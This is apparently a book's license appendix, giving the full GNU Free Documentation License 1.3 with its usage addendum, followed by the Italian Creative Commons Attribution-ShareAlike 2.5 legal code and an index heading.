The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this

License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

The "publisher" means any person or entity that distributes copies of the Document to the public.

A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.

The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other con-

ditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

3. COPYING IN QUANTITY

If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

- A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
- B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.

- C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
- D. Preserve all the copyright notices of the Document.
- E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
- F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
- G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
- H. Include an unaltered copy of this License.
- I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
- J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
- K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
- L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
- M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
- N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
- O. Preserve any Warranty Disclaimers.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties—for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers

that bracket the whole aggregate.

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.

If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.

However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.

Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.

Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See ⟨*http://www.gnu.org/copyleft/">http://www.gnu.org/copyleft/*⟩.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.

11. RELICENSING

"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.

"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.

"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.

An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.

The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.

ADDENDUM: How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

```
Copyright (C)  YEAR  YOUR NAME.
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License, Version 1.3
or any later version published by the Free Software Foundation;
with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
A copy of the license is included in the section entitled "GNU
Free Documentation License".
```

If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with ... Texts." line with this:

```
with the Invariant Sections being LIST THEIR TITLES, with the
Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
```

If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Creative Commons Legal Code

Attribuzione - Condividi allo stesso modo 2.5 (ITALIA)

L'ASSOCIAZIONE CREATIVE COMMONS (DI SEGUITO "CREATIVE COMMONS") NON È UNO STUDIO LEGALE E NON FORNISCE SERVIZI DI CONSULENZA LEGALE. LA DISTRIBUZIONE DI QUESTO MODELLO DI CONTRATTO DI LICENZA NON INSTAURA UN RAPPORTO AVVOCATO-CLIENTE. CREATIVE COMMONS FORNISCE INFORMAZIONI DA CONSIDERARSI "COSÌ COME SONO". CREATIVE COMMONS NON PRESTA ALCUNA GARANZIA PER LE INFORMAZIONI FORNITE E SI ESIME DA OGNI RESPONSABILITÀ PER I DANNI DERIVANTI DALL'USO DELLE STESSE.

La Licenza

L'OPERA (COME SOTTO DEFINITA) È MESSA A DISPOSIZIONE SULLA BASE DEI TERMINI DELLA PRESENTE LICENZA "CREATIVE COMMONS PUBLIC LICENCE" ("CCPL" O "LICENZA"). L'OPERA È PROTETTA DAL DIRITTO D'AUTORE E/O DALLE ALTRE LEGGI APPLICABILI. OGNI UTILIZZAZIONE DELL'OPERA CHE NON SIA AUTORIZZATA AI SENSI DELLA PRESENTE LICENZA O DEL DIRITTO D'AUTORE È PROIBITA.

CON IL SEMPLICE ESERCIZIO SULL'OPERA DI UNO QUALUNQUE DEI DIRITTI QUI DI SEGUITO ELENCATI, TU ACCETTI E TI OBBLIGHI A RISPETTARE INTEGRALMENTE I TERMINI DELLA PRESENTE LICENZA AI SENSI DEL PUNTO 8.f. IL LICENZIANTE CONCEDE A TE I DIRITTI QUI DI SEGUITO ELENCATI A CONDIZIONE CHE TU ACCETTI DI RISPETTARE I TERMINI E LE CONDIZIONI DI CUI ALLA PRESENTE LICENZA.

1. Definizioni. Ai fini e per gli effetti della presente licenza, si intende per

a. **"Collezione di Opere"**, un'opera, come un numero di un periodico, un'antologia o un'enciclopedia, nella quale l'Opera nella sua interezza e forma originale, unitamente ad altri contributi costituenti loro stessi opere distinte ed autonome, sono raccolti in un'unità collettiva. Un'opera che costituisce Collezione di Opere non verrà considerata Opera Derivata (come sotto definita) ai fini della presente Licenza;

b. **"Opera Derivata"**, un'opera basata sull'Opera ovvero sull'Opera insieme con altre opere preesistenti, come una traduzione, un arrangiamento musicale, un adattamento teatrale, narrativo, cinematografico, una registrazione di suoni, una riproduzione d'arte, un digesto, una sintesi, o ogni altra forma in cui l'Opera possa essere riproposta, trasformata o adattata. Nel caso in cui un'Opera tra quelle qui descritte costituisca già Collezione di Opere, essa non sarà considerata Opera Derivata ai fini della presente Licenza. Al fine di evitare dubbi è inteso che, quando l'Opera sia una composizione musicale o registrazione di suoni, la sincronizzazione dell'Opera in relazione con un'immagine in movimento ("synching") sarà considerata Opera Derivata ai fini di questa Licenza;

c. **"Licenziante"**, l'individuo o l'ente che offre l'Opera secondo i termini e le condizioni della presente Licenza;

d. **"Autore Originario"**, il soggetto che ha creato l'Opera;

e. **"Opera"**, l'opera dell'ingegno suscettibile di protezione in forza delle leggi sul diritto d'autore, la cui utilizzazione è offerta nel rispetto dei termini della presente Licenza;

f. **"Tu"/"Te"**, l'individuo o l'ente che esercita i diritti derivanti dalla presente Licenza e che non abbia precedentemente violato i termini della presente Licenza relativi all'Opera, o che, nonostante una precedente violazione degli stessi, abbia ricevuto espressa autorizzazione dal Licenziante all'esercizio dei diritti derivanti dalla presente Licenza;

g. **"Elementi della Licenza"**, gli attributi fondamentali della Licenza scelti dal Licenziante ed indicati nel titolo della Licenza: Attribuzione, Condividi allo stesso modo.

2. Libere utilizzazioni. La presente Licenza non intende in alcun modo ridurre, limitare o restringere alcun diritto di libera utilizzazione o l'operare della regola dell'esaurimento del diritto o altre limitazioni dei diritti esclusivi sull'Opera derivanti dalla legge sul diritto d'autore o da altre leggi applicabili.

3. Concessione della Licenza. Nel rispetto dei termini e delle condizioni contenute nella presente Licenza, il Licenziante concede a Te una licenza per tutto il mondo, gratuita, non esclusiva e perpetua (per la durata del diritto d'autore applicabile) che autorizza ad esercitare i diritti sull'Opera qui di seguito elencati:

a. riproduzione dell'Opera, incorporazione dell'Opera in una o più Collezioni di Opere e riproduzione dell'Opera come incorporata nelle Collezioni di Opere;

b. creazione e riproduzione di un'Opera Derivata;

c. distribuzione di copie dell'Opera o di supporti fonografici su cui l'Opera è registrata, comunicazione al pubblico, rappresentazione, esecuzione, recitazione o esposizione in pubblico, ivi inclusa la trasmissione audio digitale dell'Opera, e ciò anche quando l'Opera sia incorporata in Collezioni di Opere;

d. distribuzione di copie dell'Opera o di supporti fonografici su cui l'Opera Derivata è registrata, comunicazione al pubblico, rappresentazione, esecuzione, recitazione o esposizione in pubblico, ivi inclusa la trasmissione audio digitale di Opere Derivate.

e. Al fine di evitare dubbi è inteso che, se l'Opera sia di tipo musicale:

i. **Compensi per la comunicazione al pubblico o la rappresentazione o esecuzione di opere incluse in repertori.** Il Licenziante rinuncia al diritto esclusivo di riscuotere compensi, personalmente o per il tramite di un ente di gestione collettiva (ad es. SIAE), per la comunicazione al pubblico o la rappresentazione o esecuzione, anche in forma digitale (ad es. tramite webcast) dell'Opera.

ii. **Compensi per versioni cover.** Il Licenziante rinuncia al diritto esclusivo di riscuotere compensi, personalmente o per il tramite di un ente di gestione collettiva (ad es. SIAE), per ogni disco che Tu crei e distribuisci a partire dall'Opera (versione cover).

f. **Compensi per la comunicazione al pubblico dell'Opera mediante fonogrammi.** Al fine di evitare dubbi, è inteso che se l'Opera è una registrazione di suoni, il Licenziante rinuncia al diritto esclusivo di riscuotere compensi, personalmente o

per il tramite di un ente di gestione collettiva (ad es. IMAIE), per la comunicazione al pubblico dell'Opera, anche in forma digitale.

g. **Altri compensi previsti dalla legge italiana.** Al fine di evitare dubbi, è inteso che il Licenziante rinuncia al diritto esclusivo di riscuotere i compensi a lui attribuiti dalla legge italiana sul diritto d'autore (ad es. per l'inserimento dell'Opera in un'antologia ad uso scolastico ex art. 70 l. 633/1941). Al Licenziante spettano in ogni caso i compensi irrinunciabili a lui attribuiti dalla medesima legge (ad es. l'equo compenso spettante all'autore di opere musicali, cinematografiche, audiovisive o di sequenze di immagini in movimento nel caso di noleggio ai sensi dell'art. 18-bis l. 633/1941).

I diritti sopra descritti potranno essere esercitati con ogni mezzo di comunicazione e in tutti i formati. Tra i diritti di cui sopra si intende compreso il diritto di apportare all'Opera le modifiche che si rendessero tecnicamente necessarie per l'esercizio di detti diritti tramite altri mezzi di comunicazione o su altri formati. Tutti i diritti non espressamente concessi dal Licenziante rimangono riservati.

4. Restrizioni. La Licenza concessa in conformità al precedente punto 3 è espressamente assoggettata a, e limitata da, le seguenti restrizioni:

a. Tu puoi distribuire, comunicare al pubblico, rappresentare, eseguire, recitare o esporre in pubblico l'Opera, anche in forma digitale, solo assicurando che i termini di cui alla presente Licenza siano rispettati e, insieme ad ogni copia dell'Opera (o supporto fonografico su cui è registrata l'Opera) che distribuisci, comunichi al pubblico o rappresenti, esegui, reciti o esponi in pubblico, anche in forma digitale, devi includere una copia della presente Licenza o il suo Uniform Resource Identifier. Non puoi proporre o imporre alcuna condizione relativa all'Opera che alteri o restringa i termini della presente Licenza o l'esercizio da parte del beneficiario dei diritti qui concessi. Non puoi concedere l'Opera in sublicenza. Devi mantenere intatte tutte le informative che si riferiscono alla presente Licenza ed all'esclusione delle garanzie. Non puoi distribuire, comunicare al pubblico, rappresentare, eseguire, recitare o esporre in pubblico l'Opera, neanche in forma digitale, usando misure tecnologiche miranti a controllare l'accesso all'Opera ovvero l'uso dell'Opera, in maniera incompatibile con i termini della presente Licenza. Quanto sopra si applica all'Opera anche quando questa faccia parte di una Collezione di Opere, anche se ciò non comporta che la Collezione di Opere di per sé ed indipendentemente dall'Opera stessa debba essere soggetta ai termini ed alle condizioni della presente Licenza. Qualora Tu crei una Collezione di Opere, su richiesta di qualsiasi Licenziante, devi rimuovere dalla Collezione di Opere stessa, ove materialmente possibile, ogni riferimento in accordo con quanto previsto dalla clausola 4.c, come da richiesta. Qualora tu crei un'Opera Derivata, su richiesta di qualsiasi Licenziante devi rimuovere dall'Opera Derivata stessa, nella misura in cui ciò sia possibile, ogni riferimento in accordo con quanto previsto dalla clausola 4.c, come da richiesta.

b. Tu puoi distribuire, comunicare al pubblico, rappresentare, eseguire, recitare o esporre in pubblico un'Opera Derivata, anche in forma digitale, solo assicurando che siano rispettati i termini di cui alla presente Licenza, di una versione successiva di questa Licenza con gli stessi Elementi della Licenza come questa Licenza o di una licenza Creative Commons iCommons che contenga gli stessi Elementi della Licenza come questa Licenza (ad es. Attribuzione-Condividi allo stesso modo 2.5. Giappone). Insieme ad ogni copia dell'Opera Derivata (o supporto fonografico su

cui è registrata l'Opera Derivata) che distribuisci, comunichi al pubblico o rappresenti, esegui, reciti o esponi in pubblico, anche in forma digitale, devi includere una copia della presente Licenza o dell'altra Licenza di cui alla frase precedente o il suo Uniform Resource Identifier. Non puoi proporre o imporre alcuna condizione relativa all'Opera Derivata che alteri o restringa i termini della presente Licenza o l'esercizio da parte del beneficiario dei diritti qui concessi e devi mantenere intatte tutte le informative che si riferiscono alla presente Licenza ed all'esclusione delle garanzie. Non puoi distribuire, comunicare al pubblico, rappresentare, eseguire, recitare o esporre in pubblico l'Opera Derivata, neanche in forma digitale, provvista di misure tecnologiche miranti a controllare l'accesso all'Opera ovvero l'uso dell'Opera, in maniera incompatibile con i termini della presente Licenza. Quanto sopra si applica all'Opera Derivata anche quando questa faccia parte di una Collezione di Opere, ma ciò non comporta che la Collezione di Opere di per sé ed indipendentemente dall'Opera Derivata debba esser soggetta ai termini ed alle condizioni della presente Licenza.

c. Qualora Tu distribuisca, comunichi al pubblico, rappresenti, esegua, reciti o esponga in pubblico, anche in forma digitale, l'Opera o qualsiasi Opera Derivata o Collezione di Opere, devi mantenere intatte tutte le informative sul diritto d'autore sull'Opera. Devi riconoscere una menzione adeguata rispetto al mezzo di comunicazione o supporto che utilizzi: (i) all'Autore Originale (citando il suo nome o lo pseudonimo, se del caso), ove fornito; e/o (ii) alle terze parti designate, se l'Autore Originale e/o il Licenziante hanno designato una o più terze parti (ad esempio, una istituzione finanziatrice, un ente editoriale) per l'attribuzione nell'informativa sul diritto d'autore del Licenziante o nei termini di servizio o con altri mezzi ragionevoli; il titolo dell'Opera, ove fornito; nella misura in cui sia ragionevolmente possibile, l'Uniform Resource Identifier, che il Licenziante specifichi dover essere associato con l'Opera, salvo che tale URI non faccia alcun riferimento alla informazione di protezione di diritto d'autore o non dia informazioni sulla licenza dell'Opera; inoltre, in caso di Opera Derivata, devi menzionare l'uso dell'Opera nell'Opera Derivata (ad esempio, "traduzione francese dell'Opera dell'Autore Originario", o "sceneggiatura basata sull'Opera originaria dell'Autore Originario"). Tale menzione deve essere realizzata in qualsiasi maniera ragionevole possibile; in ogni caso, in ipotesi di Opera Derivata o Collezione di Opere, tale menzione deve quantomeno essere posta nel medesimo punto dove viene indicato il nome di altri autori di rilevanza paragonabile e con lo stesso risalto concesso alla menzione di altri autori di rilevanza paragonabile.

5. Dichiarazioni, Garanzie ed Esonero da responsabilità

SALVO CHE SIA ESPRESSAMENTE CONVENUTO ALTRIMENTI PER ISCRITTO FRA LE PARTI, IL LICENZIANTE OFFRE L'OPERA IN LICENZA "COSÌ COM'È" E NON FORNISCE ALCUNA DICHIARAZIONE O GARANZIA DI QUALSIASI TIPO CON RIGUARDO ALL'OPERA, SIA ESSA ESPRESSA OD IMPLICITA, DI FONTE LEGALE O DI ALTRO TIPO, ESSENDO QUINDI ESCLUSE, FRA LE ALTRE, LE GARANZIE RELATIVE AL TITOLO, ALLA COMMERCIABILITÀ, ALL'IDONEITÀ PER UN FINE SPECIFICO E ALLA NON VIOLAZIONE DI DIRITTI DI TERZI O ALLA MANCANZA DI DIFETTI LATENTI O DI ALTRO TIPO, ALL'ESATTEZZA OD ALLA PRESENZA DI ERRORI, SIANO ESSI ACCERTABILI O MENO. ALCUNE GIURISDIZIONI NON CONSENTONO L'ESCLUSIONE DI GARANZIE IMPLICITE E QUINDI TALE ESCLUSIONE PUÒ NON APPLICARSI A TE.

6. Limitazione di Responsabilità. SALVI I LIMITI STABILITI DALLA LEGGE APPLICABILE, IL LICENZIANTE NON SARÀ IN ALCUN CASO RESPONSABILE NEI TUOI CONFRONTI A QUALUNQUE TITOLO PER ALCUN TIPO DI DANNO, SIA ESSO SPECIALE, INCIDENTALE, CONSEQUENZIALE, PUNITIVO OD ESEMPLARE, DERIVANTE DALLA PRESENTE LICENZA O DALL'USO DELL'OPERA, ANCHE NEL CASO IN CUI IL LICENZIANTE SIA STATO EDOTTO SULLA POSSIBILITÀ DI TALI DANNI. NESSUNA CLAUSOLA DI QUESTA LICENZA ESCLUDE O LIMITA LA RESPONSABILITÀ NEL CASO IN CUI QUESTA DIPENDA DA DOLO O COLPA GRAVE.

7. Risoluzione

a. La presente Licenza si intenderà risolta di diritto e i diritti con essa concessi cesseranno automaticamente, senza necessità di alcuna comunicazione in tal senso da parte del Licenziante, in caso di qualsivoglia inadempimento dei termini della presente Licenza da parte Tua, ed in particolare delle disposizioni di cui ai punti 4.a, 4.b e 4.c, essendo la presente Licenza condizionata risolutivamente al verificarsi di tali inadempimenti. In ogni caso, la risoluzione della presente Licenza non pregiudicherà i diritti acquistati da individui o enti che abbiano acquistato da Te Opere Derivate o Collezioni di Opere, ai sensi della presente Licenza, a condizione che tali individui o enti continuino a rispettare integralmente le licenze di cui sono parte. Le sezioni 1, 2, 5, 6, 7 e 8 rimangono valide in presenza di qualsiasi risoluzione della presente Licenza.

b. Sempre che vengano rispettati i termini e le condizioni di cui sopra, la presente Licenza è perpetua (e concessa per tutta la durata del diritto d'autore sull'Opera applicabile). Nonostante ciò, il Licenziante si riserva il diritto di rilasciare l'Opera sulla base dei termini di una differente licenza o di cessare la distribuzione dell'Opera in qualsiasi momento; fermo restando che, in ogni caso, tali decisioni non comporteranno recesso dalla presente Licenza (o da qualsiasi altra licenza che sia stata concessa, o che sia richiesto che venga concessa, ai termini della presente Licenza), e la presente Licenza continuerà ad avere piena efficacia, salvo che vi sia risoluzione come sopra indicato.

8. Varie

a. Ogni volta che Tu distribuisci, o rappresenti, esegui o reciti pubblicamente in forma digitale l'Opera o una Collezione di Opere, il Licenziante offre al destinatario una licenza per l'Opera nei medesimi termini e condizioni che a Te sono stati concessi dalla presente Licenza.

b. Ogni volta che Tu distribuisci, o rappresenti, esegui o reciti pubblicamente in forma digitale un'Opera Derivata, il Licenziante offre al destinatario una licenza per l'Opera originale nei medesimi termini e condizioni che a Te sono stati concessi dalla presente Licenza.

c. L'invalidità o l'inefficacia, secondo la legge applicabile, di una o più fra le disposizioni della presente Licenza, non comporterà l'invalidità o l'inefficacia dei restanti termini e, senza bisogno di ulteriori azioni delle parti, le disposizioni invalide o inefficaci saranno da intendersi rettificate nei limiti della misura che sia indispensabile per renderle valide ed efficaci.

d. In nessun caso i termini e le disposizioni di cui alla presente Licenza possono essere considerati rinunciati, né alcuna violazione può essere considerata consentita,

salvo che tale rinuncia o consenso risultino per iscritto da una dichiarazione firmata dalla parte contro cui operi tale rinuncia o consenso.

e. La presente Licenza costituisce l'intero accordo tra le parti relativamente all'Opera qui data in licenza. Non esistono altre intese, accordi o dichiarazioni relative all'Opera che non siano quelle qui specificate. Il Licenziante non sarà vincolato ad alcuna altra disposizione addizionale che possa apparire in alcuna comunicazione da Te proveniente. La presente Licenza non può essere modificata senza il mutuo consenso scritto del Licenziante e Tuo.

f. **Clausola iCommons.** Questa Licenza trova applicazione nel caso in cui l'Opera sia utilizzata in Italia. Ove questo sia il caso, si applica anche il diritto d'autore italiano. Negli altri casi le parti si obbligano a rispettare i termini dell'attuale Licenza Creative Commons generica che corrisponde a questa Licenza Creative Commons iCommons.

Indice analitico

